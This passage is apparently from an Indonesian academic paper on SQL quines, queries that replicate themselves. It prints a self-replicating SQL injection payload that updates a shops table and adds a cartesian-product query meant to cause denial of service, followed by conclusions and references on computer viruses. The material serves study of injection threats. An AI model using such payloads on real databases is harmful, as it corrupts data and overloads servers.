dan shopgenres sehingga dihasilkan quine SQL baru dengan tiga query di dalamnya. Query SQL hasil

modifikasi adalah sebagai berikut :

SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE

shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); UPDATE shops SET

name = \\\'testingpayload\\\'; SELECT * FROM genres, shopgenres, shops; --

';

UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=',

QUOTE(@a), '; ', @a); UPDATE shops SET name = 'testingpayload'; SELECT *

FROM genres, shopgenres, shops; --

Dengan penambahan query ketiga, DBMS akan dibuat ‘sibuk’ dengan melakukan eksekusi query

yang melibatkan cartesian product secara terus menerus sehingga ancaman query ditambah dengan

denial of service.

Gambar 16 Hasil eksekusi quine dengan tambahan query ketiga melakukan cartesian product secara terus menerus

Page 17: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

17

4. Kesimpulan Dari pembahasan dimulai mulai dari dasar teori sampai dengan pengujian dan analisis, dapat diambil

kesimpulan berikut

1. Quine terbukti efektif dapat diimplementasikan ke dalam bahasa query SQL, menghasilkan

query yang dapat mereplikasi dirinya sendiri. Untuk menulis query quine SQL, dibutuhkan

dua bagian yaitu string definisi query, berisikan definisi query yang akan direplikasi dan

query yang akan dieksekusi ditambah dengan pemanggilan string definisi query. Ketika query

dieksekusi, query akan memanggil definisi dirinya dan melakukan eksekusi query yang sama

kemudian memanggil query lagi begitu seterusnya secara rekursif.

2. Quine SQL memungkinkan amplifikasi serangan dari SQL yang disisipkan melalui SQL

injection dengan mengeksekusi query yang sama berkali-kali. Dengan SQL yang telah

dimodifikasi sebagai quine, serangan yang mungkin dilakukan dengan SQL injection seperti

penambahan tuple, penghapusan tuple, pengubahan isi relasi hingga penghapusan relasi

atau basisdata menjadi semakin berbahaya dan menimbulkan kerusakan fatal pada

basisdata. Selain menyerang konsistensi dari basisdata quine SQL juga dapat dimanfaatkan

untuk menyerang server, contohnya dengan penyerangan dalam bentuk denial of service.

Denial of service dapat dilakukan dengan meminta server melakukan eksekusi query yang

membutuhkan waktu eksekusi yang lama, contohnya query yang membutuhkan operasi

cartesian product atau join, secara berulang-ulang, memanfaatkan self replication nature

dari quine.

5. Referensi [1] Filiol, Eric. “Computer Viruses : from theory to application”, Springer : Verlag (France)

[2] Quines (Self Replication Program)

http://www.madore.org/~david/computers/quine.html

(Waktu akses : 5 April 2011, pukul 16:57)

[3] SQL Virus Using Quines

http://www.rfidvirus.org/exploits/sql_quine/index.html

(Waktu akses : 7 Mei 2011, pukul 20:36)